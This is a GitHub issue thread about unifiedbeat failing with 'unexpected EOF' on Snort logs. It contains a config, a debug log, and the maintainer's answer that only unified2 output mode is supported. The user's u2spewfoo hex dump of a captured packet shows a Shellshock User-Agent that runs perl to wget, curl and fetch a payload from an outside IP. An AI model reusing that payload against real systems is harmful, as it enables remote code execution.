cleesmith / unifiedbeat

Unifiedbeat reads records from Unified2 binary files generated by network intrusion detection software and indexes the records in Elasticsearch.
MIT License
30 stars 14 forks source link

unexpected error: 'unexpected EOF' #10

Closed urvile closed 8 years ago

urvile commented 8 years ago

Arch : x86_64 Version : 2.0.1

I think this is the only pertinent line in the snort.conf

`

/etc/snort.conf

output log_unified2: filename snort.log, limit 128, nostamp

`

`#/etc/unifiedbeat/unifiedbeat.yaml sensor: unified2_path: "/var/log/snort/" unified2_prefix: "merged.log" geoip2_path: "/etc/unifiedbeat/GeoLite2-City.mmdb" rules: gen_msg_map_path: "/etc/snort/gen-msg.map" paths:

  # Certificate for TLS client authentication
  certificate: "/etc/logstash-forwarder/logstash-forwarder.crt"

  # Client Certificate Key
  certificate_key: "/etc/logstash-forwarder/logstash-forwarder.key"

  # Controls whether the client verifies server certificates and host name.
  # If insecure is set to true, all server host names and certificates will be
  # accepted. In this mode TLS based connections are susceptible to
  # man-in-the-middle attacks. Use only for testing.
  #insecure: true

  # Configure cipher suites to be used for TLS connections
  #cipher_suites: []

  # Configure curve types for ECDHE based cipher suites
  #curve_types: []

file: path: "/var/log/unifiedbeat/u2" console: pretty: true shipper: name: console02-aip.prod.sweetlabs.com geoip: paths:

logging: to_files: true files: path: /var/log/unifiedbeat name: unifiedbeat rotateeverybytes: 10485760 # = 10MB keepfiles: 3 level: debug

`

2016-07-26T17:22:34Z DBG Disable stderr logging 2016-07-26T17:22:34Z DBG Initializing output plugins 2016-07-26T17:22:34Z INFO Loaded GeoIP data from: /etc/unifiedbeat/GeoLite2-City.mmdb 2016-07-26T17:22:34Z INFO Max Retries set to: 3 2016-07-26T17:22:34Z DBG connect 2016-07-26T17:22:34Z INFO Activated logstash as output plugin. 2016-07-26T17:22:34Z INFO File output base filename set to: unifiedbeat 2016-07-26T17:22:34Z INFO Rotate every bytes set to: 10485760 2016-07-26T17:22:34Z INFO Number of files set to: 7 2016-07-26T17:22:34Z INFO Activated file as output plugin. 2016-07-26T17:22:34Z DBG Create output worker 2016-07-26T17:22:34Z DBG Create output worker 2016-07-26T17:22:34Z DBG No output is defined to store the topology. The server fields might not be filled. 2016-07-26T17:22:34Z INFO Publisher name: console02-aip.prod.sweetlabs.com 2016-07-26T17:22:34Z INFO Flush Interval set to: 1s 2016-07-26T17:22:34Z INFO Max Bulk Size set to: 2048 2016-07-26T17:22:34Z DBG create bulk processing worker (interval=1s, bulk size=2048) 2016-07-26T17:22:34Z INFO Flush Interval set to: -1ms 2016-07-26T17:22:34Z INFO Max Bulk Size set to: -1 2016-07-26T17:22:34Z INFO Init Beat: unifiedbeat; Version: 2.0.1 2016-07-26T17:22:34Z INFO Setup: activated 'GeoIP2' database for IP v4 and v6 geolocating. 2016-07-26T17:22:34Z DBG processing matched file: /etc/snort/rules/app-detect.rules

2016-07-26T17:22:34Z DBG processing matched file: /etc/snort/so_rules/server-webapp.rules 2016-07-26T17:22:41Z INFO Setup: Rules warnings: 0 multiple line rules rejected, 0 duplicate rules rejected 2016-07-26T17:22:41Z INFO Setup: Rules stats: 154 rule files read, 9511 rules created 2016-07-26T17:22:41Z INFO Setup: registrar: registry file: "/etc/unifiedbeat/.unifiedbeat" 2016-07-26T17:22:41Z INFO Setup: registrar: file source: "/var/log/snort/merged.log" 2016-07-26T17:22:41Z INFO Setup: registrar: file offset: 1271 2016-07-26T17:22:41Z INFO unifiedbeat sucessfully setup. Start running. 2016-07-26T17:22:41Z INFO Run: start spooling and publishing... 2016-07-26T17:22:41Z INFO U2SpoolAndPublish: spooling and publishing... 2016-07-26T17:22:41Z CRIT U2SpoolAndPublish: unexpected error: 'unexpected EOF' 2016-07-26T17:22:41Z INFO Run: updated registry file. 2016-07-26T17:22:41Z INFO Start exiting beat 2016-07-26T17:22:41Z INFO Stopping Beat 2016-07-26T17:22:41Z INFO Stop: is spooling and publishing running? 'false' 2016-07-26T17:22:41Z INFO Stop: done after waiting 99.03µs. 2016-07-26T17:22:41Z INFO Cleaning up unifiedbeat before shutting down. 2016-07-26T17:22:41Z INFO Cleanup: is spooling and publishing running? 'false' 2016-07-26T17:22:41Z INFO Cleanup: closed GeoIp2Reader. 2016-07-26T17:22:41Z INFO Cleanup: done. 2016-07-26T17:22:41Z INFO Exit beat completed
urvile commented 8 years ago

u2spewfoo /var/log/snort/snort.log

Packet sensor id: 0 event id: 9 event second: 1469544298 packet second: 1469544298 packet microsecond: 911128 linktype: 1 packetlength: 535 [ 0] 0E F3 D6 9C FB B3 0E 86 F3 75 BC 9B 08 00 45 00 .........u....E. [ 16] 02 09 00 56 40 00 40 06 DE FB AC 1F 00 49 AC 1F ...V@.@......I.. [ 32] 01 16 4C 98 00 50 1B C4 C5 B1 95 E4 90 57 80 18 ..L..P.......W.. [ 48] 00 47 92 8A 00 00 01 01 08 0A 3E 2A C6 D8 C4 7F .G........>.... [ 64] 70 34 47 45 54 20 2F 63 67 69 2D 73 79 73 2F 64 p4GET /cgi-sys/d [ 80] 65 66 61 75 6C 74 77 65 62 70 61 67 65 2E 63 67 efaultwebpage.cg [ 96] 69 20 48 54 54 50 2F 31 2E 31 0D 0A 68 6F 73 74 i HTTP/1.1..host [ 112] 3A 20 35 34 2E 31 36 35 2E 31 37 36 2E 36 31 0D : 54.165.176.61. [ 128] 0A 41 63 63 65 70 74 3A 20 2A 2F 2A 0D 0A 41 63 .Accept: */_..Ac [ 144] 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 cept-Encoding: g [ 160] 7A 69 70 2C 20 64 65 66 6C 61 74 65 0D 0A 41 63 zip, deflate..Ac [ 176] 63 65 70 74 2D 4C 61 6E 67 75 61 67 65 3A 20 65 cept-Language: e [ 192] 6E 2D 75 73 0D 0A 55 73 65 72 2D 41 67 65 6E 74 n-us..User-Agent [ 208] 3A 20 28 29 20 7B 20 3A 3B 7D 3B 2F 75 73 72 2F : () { :;};/usr/ [ 224] 62 69 6E 2F 70 65 72 6C 20 2D 65 20 27 70 72 69 bin/perl -e 'pri [ 240] 6E 74 20 22 43 6F 6E 74 65 6E 74 2D 54 79 70 65 nt "Content-Type [ 256] 3A 20 74 65 78 74 2F 70 6C 61 69 6E 5C 72 5C 6E : text/plain\r\n [ 272] 5C 72 5C 6E 58 53 55 43 43 45 53 53 21 22 3B 73 \r\nXSUCCESS!";s [ 288] 79 73 74 65 6D 28 22 77 67 65 74 20 68 74 74 70 ystem("wget http [ 304] 3A 2F 2F 31 38 35 2E 31 32 35 2E 34 2E 32 32 32 ://185.125.4.222 [ 320] 2F 59 4F 55 52 5F 55 52 4C 5F 48 45 52 45 20 3B /YOUR_URL_HERE ; [ 336] 20 63 75 72 6C 20 2D 4F 20 68 74 74 70 3A 2F 2F curl -O http:// [ 352] 31 38 35 2E 31 32 35 2E 34 2E 32 32 32 2F 59 4F 185.125.4.222/YO [ 368] 55 52 5F 55 52 4C 5F 48 45 52 45 20 3B 20 66 65 UR_URL_HERE ; fe [ 384] 74 63 68 20 68 74 74 70 3A 2F 2F 31 38 35 2E 31 tch http://185.1 [ 400] 32 35 2E 34 2E 32 32 32 2F 59 4F 55 52 5F 55 52 25.4.222/YOUR_UR [ 416] 4C 5F 48 45 52 45 22 29 3B 27 0D 0A 58 2D 46 6F L_HERE");'..X-Fo [ 432] 72 77 61 72 64 65 64 2D 46 6F 72 3A 20 31 37 35 rwarded-For: 175 [ 448] 2E 31 33 37 2E 31 33 38 2E 31 33 30 0D 0A 58 2D .137.138.130..X- [ 464] 46 6F 72 77 61 72 64 65 64 2D 50 6F 72 74 3A 20 Forwarded-Port: [ 480] 38 30 0D 0A 58 2D 46 6F 72 77 61 72 64 65 64 2D 80..X-Forwarded- [ 496] 50 72 6F 74 6F 3A 20 68 74 74 70 0D 0A 43 6F 6E Proto: http..Con [ 512] 6E 65 63 74 69 6F 6E 3A 20 6B 65 65 70 2D 61 6C nection: keep-al [ 528] 69 76 65 0D 0A 0D 0A ive....

cleesmith commented 8 years ago

Only output unified2 ... is supported, see modes in: http://manual-snort-org.s3-website-us-east-1.amazonaws.com/node21.html#SECTION00367000000000000000

Tested with Snort Version 2.9.6.0 GRE (Build 47).

Thanks for reporting and I added a note in the README to clarify the limitation to true unified logging mode only.